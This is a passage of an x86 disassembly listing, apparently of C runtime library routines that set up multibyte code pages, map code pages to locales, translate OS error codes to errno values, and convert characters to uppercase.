		xor	eax, eax
		jmp	loc_424200
; ---------------------------------------------------------------------------


loc_423F1C:				; CODE XREF: sub_423EC0+3Fj
		mov	[ebp+var_4], 0
		jmp	short loc_423F2E
; ---------------------------------------------------------------------------


loc_423F25:				; CODE XREF: sub_423EC0:loc_42407Aj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_423F2E:				; CODE XREF: sub_423EC0+63j
		cmp	[ebp+var_4], 5
		jnb	loc_42407F
		mov	eax, [ebp+var_4]
		imul	eax, 30h
		mov	ecx, dword_4516C8[eax]
		cmp	ecx, [ebp+arg_0]
		jnz	loc_42407A
		mov	[ebp+var_24], 0
		jmp	short loc_423F5F
; ---------------------------------------------------------------------------


loc_423F56:				; CODE XREF: sub_423EC0+B2j
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_423F5F:				; CODE XREF: sub_423EC0+94j
		cmp	[ebp+var_24], 101h
		jnb	short loc_423F74
		mov	eax, [ebp+var_24]
		mov	byte_4EFE60[eax], 0
		jmp	short loc_423F56
; ---------------------------------------------------------------------------


loc_423F74:				; CODE XREF: sub_423EC0+A6j
		mov	[ebp+var_C], 0
		jmp	short loc_423F86
; ---------------------------------------------------------------------------


loc_423F7D:				; CODE XREF: sub_423EC0:loc_424002j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_423F86:				; CODE XREF: sub_423EC0+BBj
		cmp	[ebp+var_C], 4
		jnb	short loc_424007
		mov	edx, [ebp+var_4]
		imul	edx, 30h
		mov	eax, [ebp+var_C]
		lea	ecx, dword_4516D8[edx+eax*8]
		mov	[ebp+var_8], ecx
		jmp	short loc_423FAA
; ---------------------------------------------------------------------------


loc_423FA1:				; CODE XREF: sub_423EC0:loc_424000j
		mov	edx, [ebp+var_8]
		add	edx, 2
		mov	[ebp+var_8], edx


loc_423FAA:				; CODE XREF: sub_423EC0+DFj
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_424002
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_424002
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_423FD6
; ---------------------------------------------------------------------------


loc_423FCD:				; CODE XREF: sub_423EC0+13Ej
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_423FD6:				; CODE XREF: sub_423EC0+10Bj
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_424000
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		mov	dl, byte_4EFE61[eax]
		or	dl, byte_4516C0[ecx]
		mov	eax, [ebp+var_24]
		mov	byte_4EFE61[eax], dl
		jmp	short loc_423FCD
; ---------------------------------------------------------------------------


loc_424000:				; CODE XREF: sub_423EC0+121j
		jmp	short loc_423FA1
; ---------------------------------------------------------------------------


loc_424002:				; CODE XREF: sub_423EC0+F3j
					; sub_423EC0+FFj
		jmp	loc_423F7D
; ---------------------------------------------------------------------------


loc_424007:				; CODE XREF: sub_423EC0+CAj
		mov	ecx, [ebp+arg_0]
		mov	dword_4EFD4C, ecx
		mov	dword_4EFD5C, 1
		mov	edx, dword_4EFD4C
		push	edx
		call	sub_424270
		add	esp, 4
		mov	dword_4EFF64, eax
		mov	[ebp+var_C], 0
		jmp	short loc_424040
; ---------------------------------------------------------------------------


loc_424037:				; CODE XREF: sub_423EC0+1A2j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_424040:				; CODE XREF: sub_423EC0+175j
		cmp	[ebp+var_C], 6
		jnb	short loc_424064
		mov	ecx, [ebp+var_4]
		imul	ecx, 30h
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	cx, word_4516CC[ecx+eax*2]
		mov	word_4EFD50[edx*2], cx
		jmp	short loc_424037
; ---------------------------------------------------------------------------


loc_424064:				; CODE XREF: sub_423EC0+184j
		call	sub_424370
		push	19h
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	loc_424200
; ---------------------------------------------------------------------------


loc_42407A:				; CODE XREF: sub_423EC0+87j
		jmp	loc_423F25
; ---------------------------------------------------------------------------


loc_42407F:				; CODE XREF: sub_423EC0+72j
		lea	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F14B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4241D2
		mov	[ebp+var_24], 0
		jmp	short loc_4240A8
; ---------------------------------------------------------------------------


loc_42409F:				; CODE XREF: sub_423EC0+1FBj
		mov	ecx, [ebp+var_24]
		add	ecx, 1
		mov	[ebp+var_24], ecx


loc_4240A8:				; CODE XREF: sub_423EC0+1DDj
		cmp	[ebp+var_24], 101h
		jnb	short loc_4240BD
		mov	edx, [ebp+var_24]
		mov	byte_4EFE60[edx], 0
		jmp	short loc_42409F
; ---------------------------------------------------------------------------


loc_4240BD:				; CODE XREF: sub_423EC0+1EFj
		mov	eax, [ebp+arg_0]
		mov	dword_4EFD4C, eax
		mov	dword_4EFF64, 0
		cmp	[ebp+var_20], 1
		jbe	loc_42418E
		lea	ecx, [ebp+var_1A]
		mov	[ebp+var_28], ecx
		jmp	short loc_4240EA
; ---------------------------------------------------------------------------


loc_4240E1:				; CODE XREF: sub_423EC0:loc_42413Aj
		mov	edx, [ebp+var_28]
		add	edx, 2
		mov	[ebp+var_28], edx


loc_4240EA:				; CODE XREF: sub_423EC0+21Fj
		mov	eax, [ebp+var_28]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42413C
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42413C
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_424116
; ---------------------------------------------------------------------------


loc_42410D:				; CODE XREF: sub_423EC0+278j
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_424116:				; CODE XREF: sub_423EC0+24Bj
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_42413A
		mov	eax, [ebp+var_24]
		mov	cl, byte_4EFE61[eax]
		or	cl, 4
		mov	edx, [ebp+var_24]
		mov	byte_4EFE61[edx], cl
		jmp	short loc_42410D
; ---------------------------------------------------------------------------


loc_42413A:				; CODE XREF: sub_423EC0+261j
		jmp	short loc_4240E1
; ---------------------------------------------------------------------------


loc_42413C:				; CODE XREF: sub_423EC0+233j
					; sub_423EC0+23Fj
		mov	[ebp+var_24], 1
		jmp	short loc_42414E
; ---------------------------------------------------------------------------


loc_424145:				; CODE XREF: sub_423EC0+2ACj
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_42414E:				; CODE XREF: sub_423EC0+283j
		cmp	[ebp+var_24], 0FFh
		jnb	short loc_42416E
		mov	ecx, [ebp+var_24]
		mov	dl, byte_4EFE61[ecx]
		or	dl, 8
		mov	eax, [ebp+var_24]
		mov	byte_4EFE61[eax], dl
		jmp	short loc_424145
; ---------------------------------------------------------------------------


loc_42416E:				; CODE XREF: sub_423EC0+295j
		mov	ecx, dword_4EFD4C
		push	ecx
		call	sub_424270
		add	esp, 4
		mov	dword_4EFF64, eax
		mov	dword_4EFD5C, 1
		jmp	short loc_424198
; ---------------------------------------------------------------------------


loc_42418E:				; CODE XREF: sub_423EC0+213j
		mov	dword_4EFD5C, 0


loc_424198:				; CODE XREF: sub_423EC0+2CCj
		mov	[ebp+var_C], 0
		jmp	short loc_4241AA
; ---------------------------------------------------------------------------


loc_4241A1:				; CODE XREF: sub_423EC0+2FDj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_4241AA:				; CODE XREF: sub_423EC0+2DFj
		cmp	[ebp+var_C], 6
		jnb	short loc_4241BF
		mov	eax, [ebp+var_C]
		mov	word_4EFD50[eax*2], 0
		jmp	short loc_4241A1
; ---------------------------------------------------------------------------


loc_4241BF:				; CODE XREF: sub_423EC0+2EEj
		call	sub_424370
		push	19h
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	short loc_424200
; ---------------------------------------------------------------------------


loc_4241D2:				; CODE XREF: sub_423EC0+1D0j
		cmp	dword_4EF960, 0
		jz	short loc_4241F3
		call	sub_4242F0
		call	sub_424370
		push	19h
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	short loc_424200
; ---------------------------------------------------------------------------


loc_4241F3:				; CODE XREF: sub_423EC0+319j
		push	19h
		call	sub_41FBE0
		add	esp, 4
		or	eax, 0FFFFFFFFh


loc_424200:				; CODE XREF: sub_423EC0+36j
					; sub_423EC0+57j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_423EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424210	proc near		; CODE XREF: sub_423EC0+14p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	dword_4EF960, 0
		cmp	[ebp+arg_0], 0FFFFFFFEh
		jnz	short loc_424235
		mov	dword_4EF960, 1
		call	dword_4F14B8	; GetOEMCP
		jmp	short loc_424267
; ---------------------------------------------------------------------------


loc_424235:				; CODE XREF: sub_424210+11j
		cmp	[ebp+arg_0], 0FFFFFFFDh
		jnz	short loc_42424D
		mov	dword_4EF960, 1
		call	dword_4F14B4	; GetACP
		jmp	short loc_424267
; ---------------------------------------------------------------------------


loc_42424D:				; CODE XREF: sub_424210+29j
		cmp	[ebp+arg_0], 0FFFFFFFCh
		jnz	short loc_424264
		mov	dword_4EF960, 1
		mov	eax, dword_4EF984
		jmp	short loc_424267
; ---------------------------------------------------------------------------


loc_424264:				; CODE XREF: sub_424210+41j
		mov	eax, [ebp+arg_0]


loc_424267:				; CODE XREF: sub_424210+23j
					; sub_424210+3Bj ...
		pop	ebp
		retn
sub_424210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424270	proc near		; CODE XREF: sub_423EC0+161p
					; sub_423EC0+2B5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 3A4h
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 12h
		ja	short loc_4242BA
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	dl, byte_4242D4[eax]
		jmp	off_4242C0[edx*4]


loc_42429E:				; DATA XREF: .nsp0:off_4242C0o
		mov	eax, 411h
		jmp	short loc_4242BC
; ---------------------------------------------------------------------------


loc_4242A5:				; CODE XREF: sub_424270+27j
					; DATA XREF: .nsp0:004242C4o
		mov	eax, 804h
		jmp	short loc_4242BC
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_424270+27j
					; DATA XREF: .nsp0:004242C8o
		mov	eax, 412h
		jmp	short loc_4242BC
; ---------------------------------------------------------------------------


loc_4242B3:				; CODE XREF: sub_424270+27j
					; DATA XREF: .nsp0:004242CCo
		mov	eax, 404h
		jmp	short loc_4242BC
; ---------------------------------------------------------------------------


loc_4242BA:				; CODE XREF: sub_424270+1Aj
					; sub_424270+27j
					; DATA XREF: ...
		xor	eax, eax


loc_4242BC:				; CODE XREF: sub_424270+33j
					; sub_424270+3Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_424270	endp

; ---------------------------------------------------------------------------
off_4242C0	dd offset loc_42429E	; DATA XREF: sub_424270+27r
		dd offset loc_4242A5
		dd offset loc_4242AC
		dd offset loc_4242B3
		dd offset loc_4242BA
byte_4242D4	db 0			; DATA XREF: sub_424270+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F0	proc near		; CODE XREF: sub_423EC0+41p
					; sub_423EC0+31Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_424306
; ---------------------------------------------------------------------------


loc_4242FD:				; CODE XREF: sub_4242F0+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_424306:				; CODE XREF: sub_4242F0+Bj
		cmp	[ebp+var_4], 101h
		jge	short loc_42431B
		mov	ecx, [ebp+var_4]
		mov	byte_4EFE60[ecx], 0
		jmp	short loc_4242FD
; ---------------------------------------------------------------------------


loc_42431B:				; CODE XREF: sub_4242F0+1Dj
		mov	dword_4EFD4C, 0
		mov	dword_4EFD5C, 0
		mov	dword_4EFF64, 0
		mov	[ebp+var_4], 0
		jmp	short loc_42434B
; ---------------------------------------------------------------------------


loc_424342:				; CODE XREF: sub_4242F0+6Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42434B:				; CODE XREF: sub_4242F0+50j
		cmp	[ebp+var_4], 6
		jge	short loc_424360
		mov	eax, [ebp+var_4]
		mov	word_4EFD50[eax*2], 0
		jmp	short loc_424342
; ---------------------------------------------------------------------------


loc_424360:				; CODE XREF: sub_4242F0+5Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_4242F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424370	proc near		; CODE XREF: sub_423EC0+46p
					; sub_423EC0:loc_424064p ...

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= byte ptr -418h
var_318		= byte ptr -318h
var_312		= byte ptr -312h
var_304		= byte ptr -304h
var_204		= word ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		lea	eax, [ebp+var_318]
		push	eax
		mov	ecx, dword_4EFD4C
		push	ecx
		call	dword_4F14B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4245A9
		mov	[ebp+var_51C], 0
		jmp	short loc_4243B1
; ---------------------------------------------------------------------------


loc_4243A2:				; CODE XREF: sub_424370+60j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_4243B1:				; CODE XREF: sub_424370+30j
		cmp	[ebp+var_51C], 100h
		jnb	short loc_4243D2
		mov	eax, [ebp+var_51C]
		mov	cl, byte ptr [ebp+var_51C]
		mov	[ebp+eax+var_304], cl
		jmp	short loc_4243A2
; ---------------------------------------------------------------------------


loc_4243D2:				; CODE XREF: sub_424370+4Bj
		mov	[ebp+var_304], 20h
		lea	edx, [ebp+var_312]
		mov	[ebp+var_4], edx
		jmp	short loc_4243ED
; ---------------------------------------------------------------------------


loc_4243E4:				; CODE XREF: sub_424370:loc_424436j
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax


loc_4243ED:				; CODE XREF: sub_424370+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_424438
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_51C], ecx
		jmp	short loc_424416
; ---------------------------------------------------------------------------


loc_424407:				; CODE XREF: sub_424370+C4j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_424416:				; CODE XREF: sub_424370+95j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_51C], ecx
		ja	short loc_424436
		mov	edx, [ebp+var_51C]
		mov	[ebp+edx+var_304], 20h
		jmp	short loc_424407
; ---------------------------------------------------------------------------


loc_424436:				; CODE XREF: sub_424370+B4j
		jmp	short loc_4243E4
; ---------------------------------------------------------------------------


loc_424438:				; CODE XREF: sub_424370+86j
		push	0
		mov	eax, dword_4EFF64
		push	eax
		mov	ecx, dword_4EFD4C
		push	ecx
		lea	edx, [ebp+var_204]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	1
		call	sub_42C100
		add	esp, 1Ch
		push	0
		mov	ecx, dword_4EFD4C
		push	ecx
		push	100h
		lea	edx, [ebp+var_418]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	100h
		mov	ecx, dword_4EFF64
		push	ecx
		call	sub_429750
		add	esp, 20h
		push	0
		mov	edx, dword_4EFD4C
		push	edx
		push	100h
		lea	eax, [ebp+var_518]
		push	eax
		push	100h
		lea	ecx, [ebp+var_304]
		push	ecx
		push	200h
		mov	edx, dword_4EFF64
		push	edx
		call	sub_429750
		add	esp, 20h
		mov	[ebp+var_51C], 0
		jmp	short loc_4244E9
; ---------------------------------------------------------------------------


loc_4244DA:				; CODE XREF: sub_424370:loc_42459Fj
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_4244E9:				; CODE XREF: sub_424370+168j
		cmp	[ebp+var_51C], 100h
		jnb	loc_4245A4
		mov	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	dx, [ebp+ecx*2+var_204]
		and	edx, 1
		test	edx, edx
		jz	short loc_424546
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4EFE61[eax]
		or	cl, 10h
		mov	edx, [ebp+var_51C]
		mov	byte_4EFE61[edx], cl
		mov	eax, [ebp+var_51C]
		mov	ecx, [ebp+var_51C]
		mov	dl, [ebp+ecx+var_418]
		mov	byte_4EFD60[eax], dl
		jmp	short loc_42459F
; ---------------------------------------------------------------------------


loc_424546:				; CODE XREF: sub_424370+19Ej
		mov	eax, [ebp+var_51C]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_204]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_424592
		mov	edx, [ebp+var_51C]
		mov	al, byte_4EFE61[edx]
		or	al, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4EFE61[ecx], al
		mov	edx, [ebp+var_51C]
		mov	eax, [ebp+var_51C]
		mov	cl, [ebp+eax+var_518]
		mov	byte_4EFD60[edx], cl
		jmp	short loc_42459F
; ---------------------------------------------------------------------------


loc_424592:				; CODE XREF: sub_424370+1EBj
		mov	edx, [ebp+var_51C]
		mov	byte_4EFD60[edx], 0


loc_42459F:				; CODE XREF: sub_424370+1D4j
					; sub_424370+220j
		jmp	loc_4244DA
; ---------------------------------------------------------------------------


loc_4245A4:				; CODE XREF: sub_424370+183j
		jmp	loc_42466E
; ---------------------------------------------------------------------------


loc_4245A9:				; CODE XREF: sub_424370+20j
		mov	[ebp+var_51C], 0
		jmp	short loc_4245C4
; ---------------------------------------------------------------------------


loc_4245B5:				; CODE XREF: sub_424370:loc_424669j
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_4245C4:				; CODE XREF: sub_424370+243j
		cmp	[ebp+var_51C], 100h
		jnb	loc_42466E
		cmp	[ebp+var_51C], 41h
		jb	short loc_424618
		cmp	[ebp+var_51C], 5Ah
		ja	short loc_424618
		mov	ecx, [ebp+var_51C]
		mov	dl, byte_4EFE61[ecx]
		or	dl, 10h
		mov	eax, [ebp+var_51C]
		mov	byte_4EFE61[eax], dl
		mov	ecx, [ebp+var_51C]
		add	ecx, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4EFD60[edx], cl
		jmp	short loc_424669
; ---------------------------------------------------------------------------


loc_424618:				; CODE XREF: sub_424370+26Bj
					; sub_424370+274j
		cmp	[ebp+var_51C], 61h
		jb	short loc_42465C
		cmp	[ebp+var_51C], 7Ah
		ja	short loc_42465C
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4EFE61[eax]
		or	cl, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4EFE61[edx], cl
		mov	eax, [ebp+var_51C]
		sub	eax, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4EFD60[ecx], al
		jmp	short loc_424669
; ---------------------------------------------------------------------------


loc_42465C:				; CODE XREF: sub_424370+2AFj
					; sub_424370+2B8j
		mov	edx, [ebp+var_51C]
		mov	byte_4EFD60[edx], 0


loc_424669:				; CODE XREF: sub_424370+2A6j
					; sub_424370+2EAj
		jmp	loc_4245B5
; ---------------------------------------------------------------------------


loc_42466E:				; CODE XREF: sub_424370:loc_4245A4j
					; sub_424370+25Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_424370	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4EFD5C, 0
		jz	short loc_424693
		mov	eax, dword_4EFD4C
		jmp	short loc_424695
; ---------------------------------------------------------------------------


loc_424693:				; CODE XREF: .nsp0:0042468Aj
		xor	eax, eax


loc_424695:				; CODE XREF: .nsp0:00424691j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246A0	proc near		; CODE XREF: sub_429CD0+Dp
					; sub_429D90+Fp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_4F0FAC, 0
		jnz	short loc_4246C0
		push	0FFFFFFFDh
		call	sub_423EC0
		add	esp, 4
		mov	dword_4F0FAC, 1


loc_4246C0:				; CODE XREF: sub_4246A0+Aj
		pop	ebp
		retn
sub_4246A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246D0	proc near		; CODE XREF: sub_41BA10+41p
					; sub_41BA10+11Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	dword_4EFD5C, 0
		jnz	short loc_4246FC
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch
		jmp	loc_4247F1
; ---------------------------------------------------------------------------


loc_4246FC:				; CODE XREF: sub_4246D0+11j
		push	19h
		call	sub_41FB40
		add	esp, 4


loc_424706:				; CODE XREF: sub_4246D0:loc_4247BEj
		cmp	[ebp+arg_8], 0
		jz	loc_4247C3
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4EFE61[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_424795
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42475A
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-1], 0
		jmp	short loc_4247C3
; ---------------------------------------------------------------------------


loc_42475A:				; CODE XREF: sub_4246D0+7Fj
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	ecx, ecx
		jnz	short loc_424793
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-2], 0
		jmp	short loc_4247C3
; ---------------------------------------------------------------------------


loc_424793:				; CODE XREF: sub_4246D0+B8j
		jmp	short loc_4247BE
; ---------------------------------------------------------------------------


loc_424795:				; CODE XREF: sub_4246D0+5Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_4247BE
		jmp	short loc_4247C3
; ---------------------------------------------------------------------------


loc_4247BE:				; CODE XREF: sub_4246D0:loc_424793j
					; sub_4246D0+EAj
		jmp	loc_424706
; ---------------------------------------------------------------------------


loc_4247C3:				; CODE XREF: sub_4246D0+3Aj
					; sub_4246D0+88j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_4247E4
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_4247C3
; ---------------------------------------------------------------------------


loc_4247E4:				; CODE XREF: sub_4246D0+101j
		push	19h
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_4247F1:				; CODE XREF: sub_4246D0+27j
		mov	esp, ebp
		pop	ebp
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424800	proc near		; CODE XREF: sub_41C150+2Ep
					; sub_41DEA0+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4248B0
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	[ebp+var_4], 0
		jmp	short loc_424820
; ---------------------------------------------------------------------------


loc_424817:				; CODE XREF: sub_424800:loc_424848j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_424820:				; CODE XREF: sub_424800+15j
		cmp	[ebp+var_4], 2Dh
		jnb	short loc_42484A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4517B8[eax*8]
		jnz	short loc_424848
		call	sub_4248A0
		mov	edx, [ebp+var_4]
		mov	ecx, dword_4517BC[edx*8]
		mov	[eax], ecx
		jmp	short loc_42488D
; ---------------------------------------------------------------------------


loc_424848:				; CODE XREF: sub_424800+33j
		jmp	short loc_424817
; ---------------------------------------------------------------------------


loc_42484A:				; CODE XREF: sub_424800+24j
		cmp	[ebp+arg_0], 13h
		jb	short loc_424863
		cmp	[ebp+arg_0], 24h
		ja	short loc_424863
		call	sub_4248A0
		mov	dword ptr [eax], 0Dh
		jmp	short loc_42488D
; ---------------------------------------------------------------------------


loc_424863:				; CODE XREF: sub_424800+4Ej
					; sub_424800+54j
		cmp	[ebp+arg_0], 0BCh
		jb	short loc_424882
		cmp	[ebp+arg_0], 0CAh
		ja	short loc_424882
		call	sub_4248A0
		mov	dword ptr [eax], 8
		jmp	short loc_42488D
; ---------------------------------------------------------------------------


loc_424882:				; CODE XREF: sub_424800+6Aj
					; sub_424800+73j
		call	sub_4248A0
		mov	dword ptr [eax], 16h


loc_42488D:				; CODE XREF: sub_424800+46j
					; sub_424800+61j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_424800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4248A0	proc near		; CODE XREF: sub_41BDF0:loc_41C0C2p
					; sub_41DD30:loc_41DD8Bp ...
		push	ebp
		mov	ebp, esp
		call	sub_423CF0
		add	eax, 8
		pop	ebp
		retn
sub_4248A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4248B0	proc near		; CODE XREF: sub_41DEA0+4Ap
					; sub_41F570+3Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_423CF0
		add	eax, 0Ch
		pop	ebp
		retn
sub_4248B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		sub	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4248D0	proc near		; CODE XREF: sub_41BDF0+201p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EF974, 0
		jnz	short loc_4248F7
		cmp	[ebp+arg_0], 61h
		jl	short loc_4248F2
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_4248F2
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_4248F2:				; CODE XREF: sub_4248D0+11j
					; sub_4248D0+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_42495F
; ---------------------------------------------------------------------------


loc_4248F7:				; CODE XREF: sub_4248D0+Bj
		push	offset dword_4EFD48
		call	dword_4F1454	; InterlockedIncrement
		cmp	dword_4EFD44, 0
		jz	short loc_424929
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_424930
; ---------------------------------------------------------------------------


loc_424929:				; CODE XREF: sub_4248D0+39j
